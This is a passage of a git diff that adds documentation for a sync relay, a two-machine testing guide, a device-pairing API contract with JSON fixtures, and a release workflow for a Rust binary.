pairing change sees `that relay is too old for pairing`. + +## The hosted relay + +`relay/hosted/` is the same relay as a Cloudflare Worker with Durable Objects and R2, with +per-identity limits (5 GiB, rate limits, a daily cap on new identities per network, set in `relay/hosted/src/limits.js`). Its own +README says how to deploy it to an account. Nothing in this repository deploys it. + +codeaf's own deployment is called the fabric and is served at `https://codeaf.agentfield.ai/fabric`, +the address every computer syncs through when nobody names another. It sees only ciphertext, the +time and size of each request, and the network address of each computer; it keeps no request log. +The address has a path, and every client keeps it. `codeaf relay` (this page) always serves from +the root of its host; behind your own proxy, pass the path through unchanged. diff --git a/docs/remote-access-testing.md b/docs/remote-access-testing.md index c3d3fc1176..dd1e5064e5 100644 --- a/docs/remote-access-testing.md +++ b/docs/remote-access-testing.md @@ -406,7 +406,7 @@ codeaf serve # on the engine machine ``` this machine is reachable as otter-lamp-42 - pair a new device with code 715 302 (valid 10 minutes) + let a device use this machine with code 42-715-302 (valid 10 minutes) ``` Then from the other machine, `codeaf chat --at otter-lamp-42` walks the pairing: diff --git a/docs/testdata/ux-pairing-vectors.json b/docs/testdata/ux-pairing-vectors.json new file mode 100644 index 0000000000..6f32740d0c --- /dev/null +++ b/docs/testdata/ux-pairing-vectors.json @@ -0,0 +1,15 @@ +{ + "request_pending": {"code":"k7m2q9xd","device":"dev_3Fq9","pubkey":"AAAA","x25519":"BBBB","name_sealed":"CCCC","platform":"linux","check":"4821","requested_at":1790000000000,"expires_at":1790000600000,"state":"pending","grant":null}, + "create_answer": {"code":"k7m2q9xd","device":"dev_3Fq9","check":"4821","requested_at":1790000000000,"expires_at":1790000600000}, + "device_legacy": {"V":1,"name":"bg==","added_by":"id_x","revoked":false,"caps":{"os":"linux","arch":"arm64","sandbox":null,"container":null,"gpu":null,"cow":"none"}}, + "device_new": {"V":1,"name":"bg==","added_by":"id_x","revoked":false,"caps":{"os":"linux","arch":"arm64","sandbox":null,"container":null,"gpu":null,"cow":"none"},"platform":"linux","created":1790000123456,"last_seen":1790000999000}, + "presence_list": {"now":1790000001000,"devices":{"dev_A":{"online":true,"last_seen":1790000001000},"dev_B":{"online":false,"last_seen":1789999000000}}}, + "frames": [ + {"v":42}, + {"t":"joined","device":"dev_B","name":"bg==","platform":"linux","at":1790000123456}, + {"t":"presence","device":"dev_B","online":true,"at":1790000123999}, + {"t":"presence","device":"dev_B","online":false,"at":1790000555000}, + {"t":"revoked","device":"dev_B","at":1790000700000} + ], + "error": {"err":"already_decided"} +} diff --git a/docs/testing-anywhere.md b/docs/testing-anywhere.md new file mode 100644 index 0000000000..b4eb58a130 --- /dev/null +++ b/docs/testing-anywhere.md @@ -0,0 +1,266 @@ +# Testing a chat that moves between computers + +This page says how to test every path a chat takes between two computers, from the +fastest check to a walk by hand. Run the sections in order. Each one costs more than the +one before it and proves more. + +Moving chats is on by default, so no test or rig sets a cell variable. Only a test of +the off path sets `CODEAF_CELLS=0`. + +Settings. Every script that names a machine, a folder or a relay reads it from an +environment variable (through `scripts/measure/rigenv.py`) and stops with a message that +names the variable when one is missing. Nothing is edited in a script. Export these once: + +| Variable | Meaning | Default | +|---|---|---| +| `CODEAF_RELAY` | the relay under test: a hosted one (`https://...`) or your own (`codeaf relay`, see [relay.md](relay.md)) | none | +| `CODEAF_SECOND_HOST` | the second machine, reachable with `ssh $CODEAF_SECOND_HOST` and no password prompt; a Mac or a Linux box | none | +| `CODEAF_SECOND_ROOT` | an absolute folder on the second machine that a rig may fill and wipe | none | +| `CODEAF_FIRST_ROOT` | the same on this machine | `~/caf-rig` | +| `CODEAF_CORPUS` | a folder holding the corpus repos `r18-pareto-c365`, `r02-mj-base`, `r06-agentfield` | none | +| `CODEAF_RIG_BIN` | a folder holding the built `codeaf`, `codeaf-vd` and `s1probe` | none | +| `CODEAF_EVIDENCE` | where `hosted-validate.py` writes its result folders | `~/caf-evidence` | + +Other names read by one rig: `CODEAF_SRC` and `BENCH_BUILD` (`bench-move.sh`: the checkout to +build, where it builds), `CONT_PORT` and `CONT_SUFFIX` (`continuity.py`: a dev-server port and a +tmux name, so two rigs can run side by side), `FID_REUSE` and `FID_PLAIN` (`fidelity.py`: keep the +pairing between runs; build the older fixture), `BILL_DOC` (`relay-bill.sh`: the decision +document it rewrites). + +Anything that calls a model uses `deepseek/deepseek-v4.1-flash` for every role. The key must +already be in your login environment; none of these scripts print it. + +## What each test proves + +| Test | Proves | Runtime | +|---|---|---| +| `make test-quick` | the tree builds, is formatted, passes the laws and the manual gates | a few minutes | +| `go test` on the sync packages | seal, upload, fetch, take, pairing and the setup flow work in process | under 5 minutes | +| `relay/hosted` `npm test` | the hosted relay's units: store, directory, leases, pairing, watch | under 2 minutes | +| `TestPairJourney` | a person can pair two homes and move a chat, by keystrokes in a real terminal | about 2 minutes | +| `scripts/relay-conformance.sh` | both relays (Go and hosted) obey the same contract | about 10 minutes (about 3 with `SKIP_E2E=1`) | +| `scripts/durability-hosted.sh` | nothing a chat completed is lost when its machine dies | about 20 minutes | +| `scripts/hosted-validate.py` | the whole loop on two real machines: pair, work, move, take back, resume card, integrity | about 30 to 60 minutes a pass | +| `scripts/continuity.py` | the chat on the other machine carries all the work, so the agent continues and does not redo it | about 20 minutes a run | +| `scripts/fidelity.py` | a folder arrives byte for byte, awkward cases included | about 10 minutes | +| `scripts/bench-move.sh` | what a cold take, warm take, take back and publish cost in time, requests and dollars | tens of minutes to hours by size | + +## 1. Fast local gates + +From the repository root, after `make build`: + +```sh +make test-quick +go test -count=1 ./internal/cellsync/ ./internal/handoff/ ./internal/pair/ \ + ./internal/syncsetup/ ./internal/cellstore/ ./cmd/codeaf/ +(cd relay/hosted && npm ci && npm test) +``` + +Some tests need the real engine (`furrow`), which `make build` makes. Without it they skip +with the words `no engine binary`; a skip is not a pass. Run them with the tag: + +```sh +go test -count=1 -tags engine ./internal/cellsync/ ./internal/cellstore/ ./internal/syncsetup/ +``` + +Pass: every package says `ok`, no `engine` test skips. + +## 2. Two homes on one machine, with the Go relay + +Two state roots on one machine are two computers as far as the product can tell. + +**Pairing and moving, driven by keystrokes.** `internal/e2e/pairjourney_e2e_test.go` starts +the Go relay, two homes and the real binary in tmux. It needs `tmux` and `go`: + +```sh +make build +go test -tags e2e -count=1 -v -timeout 10m -run '^TestPairJourney$' ./internal/e2e/ +``` + +Set `UX_SEGMENT=A` to stop after the approval and run only the fresh-install check. Per-step +times and verdicts go to `$UX_EVIDENCE` (default `~/ux-evidence/e2e-run.json`). +Pass: every step prints its screen and the test ends `ok`. The journey budget is two minutes. + +**Durability, against the Go relay or any other.** The same tests as section 3 run against +`$CODEAF_RELAY`, the same variable every script reads, with no default; a run with it unset stops +(the Go suite skips) and names it. Point it at your own relay to keep the load off a hosted one: + +```sh +CODEAF_RELAY=https://relay.example.com scripts/durability-hosted.sh KillAfterLoneCall +``` + +The name after the script picks one test (`KillAfterLoneCall`, `KillAfterBurst`, +`KillAfterTurnEnds`, `KillAfterLaterLoneCall`, `KillDuringCall`, `NetworkCutThenKill`, +`LidClose`, `FirstCallKillRate`). Without a name it runs them all. Each prints one `DURABILITY` +line, `PASS`, `FAIL` (work missing on the other machine) or `FAIL-RECORD` (the work arrived, +its transcript line did not), or `UNREACHABLE` (work is missing, but the kill came sooner after the +call than the relay takes to store a frame, which the run measures with three probe puts and prints +as `relayAckFloor`; nothing could have been durable yet, so it does not fail the run). It uses a +scripted model, so it makes no model calls. + +**Real engine round trips, in process.** +`go test -tags engine ./internal/cellsync/ ./internal/cellstore/ ./internal/syncsetup/` +(section 1) covers dedup, held moves and the setup round trip on the real engine. + +**The old single-box remote check.** `make test-remote` (tag `docker_e2e`) runs +`TestRemoteTwoMachines`; it needs docker. + +## 3. Two real machines against the hosted relay + +You need a Linux and a Mac, the second reachable as `$CODEAF_SECOND_HOST`. Build `bin/codeaf` and the +engine on both machines from the same commit (`make build`; on the Mac, `export +PATH=/opt/homebrew/bin:$PATH` first). A copied binary is killed by macOS until it is signed: +`codesign -s - -f `. + +Export the settings above first; each script's docstring says which of them it reads and the +layout it expects under the roots. Run `--help` on any of them to see the options. + +The relay under test is whatever `CODEAF_RELAY` says; the rigs put it into each home as +`CODEAF_SYNC_URL`, which is the variable the product itself reads. + +**The whole loop.** + +```sh +python3 scripts/hosted-validate.py 1 # pass 1: pair, work, move, take back, integrity +python3 scripts/hosted-validate.py 2 --card-test 6 # six cold takes of small chats, counting resume cards +python3 scripts/hosted-validate.py 1 --resume # redo push and integrity on a pass's saved state +``` + +It writes raw files and `results.json` under `/pass/`; `--out` picks the folder. +It makes real model calls and takes a lock on the Mac (`~/caf-bench.lock`) because it times +things. Helpers are in `scripts/measure/hosted/`: `setup.sh` (a clean rig home on one +machine), `tuidrive.py` (types into and reads the terminal), `cellread.py`, `treehash.py`, +`durable.py`, `clockoff.py` (the clock difference between the machines) and `report.py` (a +table of pass results). + +**Continuity of a move.** Does the other machine carry all of the work? + +```sh +python3 scripts/continuity.py pair # once: pair the two homes +python3 scripts/continuity.py cold # a fresh machine takes a finished session +python3 scripts/continuity.py warm # a machine with an older copy takes again +python3 scripts/measure/continuity/report.py +``` + +`pair` uses one pairing from the relay's budget (see the limits below). The checks live in +`scripts/measure/continuity/check.py`; `rig.sh ` makes a clean home pinned to the one +model. + +**Folder fidelity, with the awkward cases.** + +```sh +python3 scripts/fidelity.py run # build the fixture, move it there, change it, move it back +python3 scripts/fidelity.py probes # the single awkward cases, one at a time +``` + +The fixture (`scripts/measure/continuity/fidelity-fixture.sh`, about 350 MiB) holds a full +`.git` with a stash and a submodule, empty directories, a path over 200 characters, names in +different Unicode forms, names that differ only in case, big binaries, every kind of symlink, +a hard-linked pair, odd file modes and secret files. `fidelity-manifest.py` reads the tree on +each machine and `fidelity-compare.py` compares them. The move uses a private take program +(`scripts/measure/hosted/vdemotake.go.txt`, built as `vdemo-take`), because the home screen +has no door for a chat the machine already lists. Pass: every row PASS except the known case +below. + +**What it costs.** + +```sh +scripts/bench-move.sh --envs same,second --sizes S --reps 3 +``` + +`--envs` picks `same` (two homes on this box, a Go relay in docker), `second` (the second +machine, which reaches the relay through `ssh -R`) and `hosted` (both machines talk to +`$CODEAF_RELAY`). It needs `CODEAF_SECOND_HOST` and `CODEAF_SECOND_ROOT` (for `second` +and `hosted`) and `CODEAF_CORPUS`; `CODEAF_SRC` is the checkout to build (default this one). +It builds, runs scripted edits (no model), and writes `rows.jsonl`, +`summary.json` and `summary.md` under `.lane/bench-move/`. Size S is a few seconds; M and L +take minutes to an hour a cell on a slow link. Run it on a quiet machine: it measures time. + +**Durability on the real machines.** + +```sh +scripts/durability-hosted.sh # all scenarios, about 20 minutes +``` + +## 4. Conformance for both relays + +```sh +scripts/relay-conformance.sh # the whole matrix and one table +SKIP_E2E=1 scripts/relay-conformance.sh # without the hosted Worker's end-to-end script +``` + +It starts the Go relay and the hosted Worker (under `wrangler dev --local`) on free ports, +never against a hosted deployment, and exits 0 only when no suite failed or ran zero cases. +To hold one live relay to the suites by hand: + +```sh +go test -count=1 -tags relayurl ./internal/relayconf/ -relay-url=$CODEAF_RELAY +``` + +The suites are store, directory, isolation, pairing, rotation, big take, watch and lease. Run +the whole suite only against a relay with a short pairing time and a lifted per-address +identity cap (a local one, or staging); production lacks both on purpose. The Worker's own +end-to-end scripts: `(cd relay/hosted && npm run e2e)`. + +## 5. The manual walk + +Use two terminals, one per machine, both with `CODEAF_SYNC_URL=$CODEAF_RELAY`. A is the machine that +already has your work, B is the new one. This is what each step should look like. + +1. **Home on A.** Run `codeaf`. If this machine never synced, the home screen shows a card, + "Add another device", with the pitch "pick up your work anywhere". +2. **Pair B.** On B run `codeaf pair`. B prints a link ending `codeaf.agentfield.ai/p/` + (staging prints its own host), a "Check number", and "Waiting for approval". +3. **Approve on A.** Open the card, choose to add a machine, and paste the link. A shows + "wants to pair" with the device's name, its platform, how long ago it asked and + the same Check number B shows. If the numbers differ, deny. Press `a` to approve. +4. **Both sides confirm.** B prints "Paired - N workspaces available". A shows a news line, + "is now paired". +5. **Work on B.** On B open a chat in a folder, ask for a small change, and let it finish. +6. **See B from A.** A's home shows a devices row with both machines online (filled dots). + `/devices` lists both. +7. **The continue card.** Close the chat on B (or leave B idle), reopen A. A offers "Continue + where you left off on ?". Enter chooses "continue here". +8. **Move.** A asks "Continue this chat here?". Confirm. A prints a banner "Moved from + in N s" and opens the chat with a resume card: the files not yet committed, the last test + run and what B saw. Your folder is the same, file for file. +9. **Take it back.** Do step 5 to 8 the other way: work on A, then on B continue the same chat + from B's home. It arrives in B's folder with A's work in it. (The devices screen says + "undo", not "take back".) +10. **Offline row.** Close the app and sleep or disconnect B. Within a minute A shows B as + `○ (offline)`, its chats no longer say "running", and the continue card says the + device is off. Reconnect B: the dot fills and the card goes away. +11. **Revoke.** On A open `/devices`, move down to B's row (not "this device") and press `r`. + A says B "was revoked". On B, opening a chat says it was revoked or turned away, and B's + own device list says so. B no longer reads A's chats. + +## 6. What a pass looks like, and the limits + +A pass: every command above ends with exit 0 and its own PASS line; no `FAIL`, +`FAIL-RECORD`, skip or zero-case suite; the two folders compare equal (the fidelity rows, and +`diff -r` apart from `.git`, `.furrow` and `node_modules`); and in the manual walk every step +shows what is written above. + +Known limits, from the measured runs (the benchmark notes of the program have the tables): + +- **Time follows the size of the repo, not of the change.** At the measured build, a warm take + after a one-file change fetched about 15 requests and 0.1 MB but took over a minute on a + 200 MB repo, because the receiving machine rewrote the whole tree. A later build changed the + sealing and upload path; the numbers were not repeated on it. Treat a slow warm take on a + big repo as known, not as a regression, until you compare with a fresh bench run. +- **Cold takes fetch one object per request.** Over a hosted relay a 17,000-object repo took + about 20 minutes cold at 70 to 90 ms a request. Small repos take seconds. +- **The benchmarks are not a real WAN for all rows.** The same-box row has no network, and the + tunnelled row adds the latency of ssh. Runs were repeated three times at most; on a shared + machine the spread is large (a warm take of 54 to 88 s on one box). +- **Dollar figures are a price table, not a bill.** They count the client's requests against + list prices with every free tier used. +- **A moved chat's folder differs from the original in a few known ways.** Names that differ + only in case cannot both exist on a case-insensitive Mac, so that take is refused. `.git/index` and `.git/logs` are compared by kind and size only, because + git rewrites them. A `node_modules` folder is withheld and rebuilt with `npm ci`. +- **The pairing rate limit.** The hosted relay allows about 12 pairings per 40 minutes from one + network (staging says `too many pairings from this network; wait N min`). Pair once and reuse + the homes; do not run `continuity.py pair` in a loop. +- **The conformance suite and load runs against staging** cost real requests; run them with + the owner's agreement, not by habit. +- **Only the Mac and Linux pairs were tested.** The fidelity runs were Linux to a Mac on APFS. diff --git a/docs/ux-pairing-contract.md b/docs/ux-pairing-contract.md new file mode 100644 index 0000000000..790b4a443e --- /dev/null +++ b/docs/ux-pairing-contract.md @@ -0,0 +1,300 @@ +# UX pairing contract (link pairing, device records, presence) + +Status: fixed. Every UX lane builds against this file. All changes are additive. A client that knows +nothing of this file keeps working: the six-digit code path (`/v1/pair`, internal/pairbox, +internal/pair), `{"v":N}` watch frames, `POST /v1/dir/devices/{id}/revoke` and the existing +`directory.Device` JSON all stay as they are. + +Words in UI strings follow the vocabulary law: "device", "Move here", "Continue here". The words in +this file (relay, node, lease, manifest) never reach a screen. + +Conventions: JSON bodies; errors are `{"err":""}` with the status given (the relay's existing +shape, `wire.js`). Times are Unix milliseconds. `b64u` is unpadded base64url. Every answer carries +`Codeaf-Now` as today. Signed routes use the existing identity/device cert headers and are called +"signed"; routes marked "open" take no identity (the new device has none yet). + +## 1. Pending request record + +A new device asks to join by creating a request. The relay keeps it for 10 minutes in one new Durable +Object, `LinkGate` (global decisions and per-IP counters, like `PairGate`), plus one `LinkRequest` +object per code (like `Mailbox`). + +```json +{ + "code": "k7m2q9xd", + "device": "dev_3Fq9...", + "pubkey": "b64u(32 bytes ed25519 device public key)", + "x25519": "b64u(32 bytes, key the grant is sealed to)", + "name_sealed": "b64u(secretbox of the UTF-8 device name under the link key)", + "platform": "linux", + "check": "4821", + "requested_at": 1790000000000, + "expires_at": 1790000600000, + "state": "pending", + "grant": null +} +``` + +- `code`: 8 characters of Crockford base32 (no I, L, O, U; lowercase accepted, upper-cased on read), + 40 random bits from `crypto.getRandomValues`. It is a lookup key, not a secret that protects keys. +- `device`: `dev_` id derived from `pubkey` exactly as today; the relay recomputes it and refuses a + mismatch (`bad_request`). +- `platform`: one of `darwin`, `linux`, `windows`, `ios`, `android`, `other`. Unknown values are stored + as `other`. Plain text; it is the platform icon on the approve screen. +- `name_sealed`: the name is hidden from the relay. It is sealed (NaCl secretbox, 24-byte nonce + prepended) under the 16-byte link key `k`, which lives only in the URL fragment (section 2) and is + never sent to any server. At most 96 bytes of name before sealing. +- `check`: four decimal digits, `uint16_be(sha256(pubkey)[0:2]) mod 10000`, zero padded. The new + device shows it; the approver compares it. It makes a substituted public key visible. +- `expires_at = requested_at + 600000` (10 min, `limits.pairTtlMs`). After expiry every read is `404 gone`. +- `state`: `pending` | `approved` | `denied`. Moves once, only from `pending` (single use). A request is + never revived; a new attempt is a new code. +- `grant`: `null` until approved. After `approved` it is `b64u(sealed box)` sealed to `x25519`; it holds + what the new device needs (cert, identity material, vault key). The relay stores it as opaque bytes + (4 KiB cap, `too_big`) and never reads it. A `denied` request has `grant: null`. +- After a decision the record lives 2 more minutes (so the new device can read it), then it is deleted. + +Wire form for the `device` object written into the directory on approval is section 4. + +## 2. Short link and mapping to the existing code + +``` +https://codeaf.agentfield.ai/p/# +``` + +`` is `b64u(16 bytes)`, the link key of section 1. `codeaf.agentfield.ai/p/*` is a redirect/handoff page: it +sends the visitor to the installed app (`codeaf://pair?code=#`), or shows install and CLI steps. +The fragment never leaves the browser. + +Printed or typed form, for headless use: `.` (for example `k7m2q9xd.Qm9v...`). The CLI prints +both the link and this token. Paste into any approve box is accepted in either shape. + +Existing path, unchanged: a six-digit code with a nameplate (`42-715-302`) goes through `/v1/pair` and +the CPace exchange in internal/pair. The two paths are siblings, chosen by the shape of what is +entered: + +| Entered text | Path | +|---|---| +| `^\d{1,4}-\d{3}-\d{3}$` or `\d{3} \d{3}` | existing pairbox + CPace, no change | +| `^[0-9a-hjkmnp-tv-z]{8}([.#].+)?$` (case-insensitive) or a `codeaf.agentfield.ai/p/` URL (the old `codeaf.link` host is not a codeaf link and is answered as such) | link pairing, this file | + +There is no secret in the short code, so link pairing has two guards instead of the PAKE: a human +approves on an already-paired device, and the approver sees `check` and the name. The grant is sealed +to the new device key, so the relay and anyone who reads the request learn nothing usable. + +## 3. Routes + +All paths are under the hosted relay origin. No route removes or changes an existing one. + +| # | Method and path | Auth | Purpose | +|---|---|---|---| +| 1 | `POST /v1/link/requests` | open | create a request | +| 2 | `GET /v1/link/requests/{code}` | open | read one (approver and new device) | +| 3 | `POST /v1/dir/requests/{code}/approve` | signed | approve | +| 4 | `POST /v1/dir/requests/{code}/deny` | signed | deny | +| 5 | `GET /v1/dir/presence` | signed | who is online now | +| 6 | `GET /v1/link/limits` | open | numbers below, for clients | + +Revoke is unchanged: `POST /v1/dir/devices/{id}/revoke` (204; revoked keys are refused as today). + +### 3.1 Create: `POST /v1/link/requests` (open) + +Request: + +```json +{ "pubkey": "b64u", "x25519": "b64u", "name_sealed": "b64u", "platform": "linux" } +``` + +Answer `201`: + +```json +{ "code": "k7m2q9xd", "device": "dev_3Fq9...", "check": "4821", + "requested_at": 1790000000000, "expires_at": 1790000600000 } +``` + +The client builds the link from `code` and its own `k`. Errors: + +| Status | err | When | +|---|---|---| +| 400 | `bad_request` | missing field, wrong key length, `device` mismatch, name over 96 bytes | +| 413 | `too_big` | body over 1 KiB | +| 429 | `rate_limited` | over 10 creates per hour per IP, or 3 pending requests at once per IP (`Retry-After` set) | +| 503 | `full` | 2000 live requests on the relay | + +### 3.2 Read: `GET /v1/link/requests/{code}` (open) + +Answer `200` is the record of section 1 with `state`, `grant`, `check`, `name_sealed`, `platform`, +`requested_at`, `expires_at`, `device`, `pubkey`, `x25519`. Query `?wait=` (max 25000) long-polls +until `state` leaves `pending`, answering `204` if the wait ends first (same behaviour as the mailbox +read). The new device uses it to wait for approval; the approver uses it once, without `wait`. + +| Status | err | When | +|---|---|---| +| 404 | `gone` | unknown, expired or deleted code (these are one answer on purpose) | +| 429 | `rate_limited` | over 60 reads per minute per IP, or over 20 misses per minute per IP, or 4 open polls per IP | + +### 3.3 Approve: `POST /v1/dir/requests/{code}/approve` (signed) + +Called by an already-paired device of the identity that is approving. + +```json +{ + "device": { + "V": 1, "name": "b64 sealed under the metadata key", "added_by": "id_...", + "revoked": false, "caps": { "os": "linux", "arch": "arm64", "sandbox": "landlock", + "container": null, "gpu": null, "cow": "btrfs" }, + "platform": "linux", "created": 1790000123456, "last_seen": 0 + }, + "cert": "b64u device cert for `dev_...` signed by the identity key (existing cert format)", + "grant": "b64u(sealed box to x25519)" +} +``` + +Effect, in this order and in one turn of the identity object: verify `cert` is for the request's +`device`; write the Device record (as `PUT /v1/dir/devices/{id}` would, `created` set by the relay to +directory time); bump the directory version (watchers hear `{"v":N}`); emit `joined` (section 5); set +the request `approved` with `grant`. A retry of the same approve with the same `device` is `204` +(idempotent). Answer `204`. + +| Status | err | When | +|---|---|---| +| 400 | `bad_request` | `device`/`cert` do not match the request | +| 401 | `unauthorized` | not signed, or signer revoked (existing causes) | +| 404 | `gone` | no such live request | +| 409 | `already_decided` | request is `approved` for another body, or `denied` | +| 410 | `rotated` | identity replaced (existing) | +| 413 | `too_big` | `grant` over 4 KiB | +| 429 | `rate_limited` | existing per-device limits | + +### 3.4 Deny: `POST /v1/dir/requests/{code}/deny` (signed) + +Empty body. Sets `denied`; the waiting device reads `state:"denied"` and shows "Request declined". +Answer `204`. Errors: `401 unauthorized`, `404 gone`, `409 already_decided` (a repeat deny is `204`). +Any paired device may approve or deny; the first decision wins. + +### 3.5 Presence list: `GET /v1/dir/presence` (signed) + +```json +{ "now": 1790000001000, + "devices": { + "dev_A": { "online": true, "last_seen": 1790000001000 }, + "dev_B": { "online": false, "last_seen": 1789999000000 } } } +``` + +One entry per non-revoked device in the directory. Cost: reads socket state only, no storage write. +Answers with `Codeaf-Dir-Version` like `/v1/dir/list`. Used at app open and as the fallback for a client +whose socket is down. + +### 3.6 Limits: `GET /v1/link/limits` (open) + +```json +{ "ttl_ms": 600000, "create_per_hour": 10, "pending_per_ip": 3, "read_per_minute": 60, + "miss_per_minute": 20, "concurrent_polls": 4, "max_grant": 4096, "max_live": 2000 } +``` + +New keys in `limits.js` `DEFAULTS` (override via `CAF_LIMITS` as today): `linkCreatePerHour` 10, +`linkPendingPerIp` 3, `linkReadPerMinute` 60, `linkMissPerMinute` 20, `linkConcurrentPolls` 4, +`linkMaxGrant` 4096, `linkMaxLive` 2000. `pairTtlMs` is reused for the 10 minutes. + +## 4. Device record (additive fields) + +`directory.Device` gains three fields. Go (`internal/directory/records.go`): + +```go +Platform string `json:"platform,omitempty"` // darwin|linux|windows|ios|android|other +Created int64 `json:"created,omitempty"` // directory ms when the device joined; set by the relay +LastSeen int64 `json:"last_seen,omitempty"` // directory ms of the last watch socket close or hello +``` + +Full JSON: + +```json +{ "V": 1, "name": "b64", "added_by": "id_...", "revoked": false, + "caps": { "os": "linux", "arch": "arm64", "sandbox": "landlock", "container": null, "gpu": null, "cow": "btrfs" }, + "platform": "linux", "created": 1790000123456, "last_seen": 1790000999000 } +``` + +Rules: +- `V` stays 1. Old readers ignore unknown fields; old records decode with zero values, shown as + "unknown" platform and no time. A device written without the fields is valid. +- `created` is set by the relay on first write of a device id and never changes afterward; a client + value is ignored. +- `last_seen` is set only by the relay: at watch connect (hello) and at watch close. It is not written + per ping, so an open quiet socket costs no storage write. A client value is ignored. +- `platform` is client-supplied, same value set as section 1, written by self-registration or approve. +- Rename and `caps` changes keep using `PUT /v1/dir/devices/{id}` (self only). `Revoked` is still set + only by revoke. +- Writing `last_seen` bumps no directory version and sends no `{"v":N}` frame. + +## 5. Watch frames + +Today a watch socket gets only `{"v":N}` (version). That does not change for a socket opened as today. + +A client opts in to events with a query flag: `GET /v1/dir/watch?events=1` (plus existing `hold` +parameters). A socket without the flag never receives an event frame, so old clients cannot be +confused. With the flag the socket receives `{"v":N}` frames exactly as before, and in addition event +frames. An event frame has a string key `t` and no key `v`: + +```json +{"t":"joined","device":"dev_B","name":"b64 sealed","platform":"linux","at":1790000123456} +{"t":"presence","device":"dev_B","online":true,"at":1790000123999} +{"t":"presence","device":"dev_B","online":false,"at":1790000555000} +{"t":"revoked","device":"dev_B","at":1790000700000} +``` + +- `joined`: sent to every open event socket of the identity (the new device itself excluded) in the same + turn as the approve. The directory version also moves, so a client that only lists still sees it. + The UI string is " is now paired", decoded from `name` with the metadata key. +- `presence`: sent to the other event sockets when the first socket of a device opens (`online:true`) + and when its last socket closes (`online:false`). A device is online iff it holds at least one open + watch socket. A flapping device is debounced: an `online:false` is sent 15 s after the last socket + closes unless a socket opens first, and no `online:true` is sent for a reconnect inside that gap. + The close 15 s timer is a Durable Object alarm, set only when the last socket closes. +- On connect an event socket first gets `{"v":N}` then one `presence` frame per other online device, so + it needs no `/v1/dir/presence` call at start. `presence` frames for offline devices are not sent on + connect; use the list for `last_seen`. +- `revoked`: informational; the close `4401` for the revoked device itself is unchanged. +- Event frames are at most 512 bytes and are never queued for a socket that is gone. Clients must + ignore frames with an unknown `t`. + +## 6. Security properties (must hold in every implementation) + +1. The relay never holds an unsealed device name, a grant's contents, or the link key. +2. Approval needs a signed call by a non-revoked device of the identity. Open routes can only create, + read and wait. +3. A request decides once. Two approvers racing: one gets `204`, the other `409 already_decided`. +4. Code guessing is bounded: 40 bits, 10 min, 20 misses per minute per IP, and a guessed code reveals a + sealed name, a platform and a public key only. +5. Revoked device ids are refused at the relay as today; a revoked device re-joins only as a new + request and a new device id. + +## 7. Errors added + +`already_decided` (409). Reused with the existing meaning: `bad_request` 400, `unauthorized` 401, +`gone` 404, `too_big` 413 (here, `too_large` for directory bodies stays), `rate_limited` 429, `full` 503, +`rotated` 410. + +## 7a. Nameplates and generations (`/v1/pair`) + +A nameplate is a short number, so it is drawn again some day. Two rules keep a device that still holds an +old code from being answered by a newer mailbox that landed on the same nameplate. + +1. **Quarantine.** A relay does not draw a nameplate again until `plateQuarantineMs` after its mailbox ended + (released or expired). The hosted relay's default is one pairing life (`pairTtlMs`, 10 minutes): a device + may come back to a code until the code's life ends, and a poll that starts during the quarantine finds the + old mailbox gone. Quarantined plates count as occupied when the nameplate length (2 to 4 digits) is chosen. +2. **Generation.** Each opening of a mailbox has a random generation, 32 hex characters, sent in the header + `Codeaf-Pair-Gen` on every answer about that mailbox (create, post, poll). A device sends back the one it + was told, on post, poll and delete. A mailbox that is a different opening answers `404 gone`, the same + answer as for a mailbox that is not there. + +The header is optional both ways. A request with none is not fenced, and a mailbox opened before generations +existed, or a relay that names none (the self-hosted one), answers without it; a device then sends none. No +body, status or word changes, so old and new builds keep working together. A joining device learns the +generation from its first answer, so it is fenced from its second call on. + +## 8. Test vectors + +`docs/testdata/ux-pairing-vectors.json` holds the record shapes above as fixtures for the lanes +(request, approve body, presence answer, the four event frames, an old-style `{"v":N}` frame, and a +legacy Device record without the new fields). diff --git a/engine/.github/workflows/release.yml b/engine/.github/workflows/release.yml new file mode 100644 index 0000000000..38b269d6f2 --- /dev/null +++ b/engine/.github/workflows/release.yml @@ -0,0 +1,111 @@ +name: release + +# Publishes per-platform `furrow` binaries so callers can install it without a +# Rust toolchain. Windows is absent on purpose: 13 source files use +# `std::os::unix` with no `cfg(windows)` guards, so a native Windows build needs +# a source port, not a build target. Windows users reach furrow through WSL, +# which uses the linux asset. + +on: + push: + tags: + - "v*" + workflow_dispatch: + inputs: + tag: + description: "Existing tag to build and publish (e.g. v0.1.0)" + required: true + type: string + +permissions: + contents: write + +env: + CARGO_TERM_COLOR: always + +jobs: + build: + name: ${{ matrix.asset }} + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + include: + - asset: furrow-linux-amd64 + target: x86_64-unknown-linux-gnu + os: ubuntu-latest + native: true + # arm64 Linux is not a niche here: DGX Spark and Jetson, Graviton, + # Ampere, and Raspberry Pi all land on this target, and every one of + # them has to install a Rust toolchain and build from source today. + # Native on a hosted arm64 runner, so it gets the same smoke test as + # the other native targets instead of shipping unverified. + - asset: furrow-linux-arm64 + target: aarch64-unknown-linux-gnu + os: ubuntu-24.04-arm + native: true + - asset: furrow-darwin-arm64 + target: aarch64-apple-darwin + os: macos-14 + native: true + # Cross-compiled on the arm64 runner; Apple's toolchain ships both + # slices, so this needs no extra SDK. It cannot be smoke-tested here. + - asset: furrow-darwin-amd64 + target: x86_64-apple-darwin + os: macos-14 + native: false + steps: + - uses: actions/checkout@v4 + with: + ref: ${{ inputs.tag || github.ref }} + + - name: Install toolchain + run: | + rustup toolchain install stable --profile minimal --no-self-update + rustup target add ${{ matrix.target }} + + - name: Build + run: cargo +stable build --release --locked --target ${{ matrix.target }} + + - name: Smoke test + if: matrix.native + run: ./target/${{ matrix.target }}/release/furrow --version + + - name: Stage asset + run: | + mkdir -p dist + install -m 755 "target/${{ matrix.target }}/release/furrow" "dist/${{ matrix.asset }}" + + - uses: actions/upload-artifact@v4 + with: + name: ${{ matrix.asset }} + path: dist/${{ matrix.asset }} + if-no-files-found: error + + publish: + needs: build + runs-on: ubuntu-latest + steps: + - uses: actions/download-artifact@v4 + with: + path: dist + merge-multiple: true + + - name: Checksums + working-directory: dist + run: sha256sum furrow-* > SHA256SUMS + + - name: Publish release + env: + GH_TOKEN: ${{ github.token }} + TAG: ${{ inputs.tag || github.ref_name }} + run: | + if gh release view "$TAG" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then + gh release upload "$TAG" dist/* --repo "$GITHUB_REPOSITORY" --clobber + else + gh release create 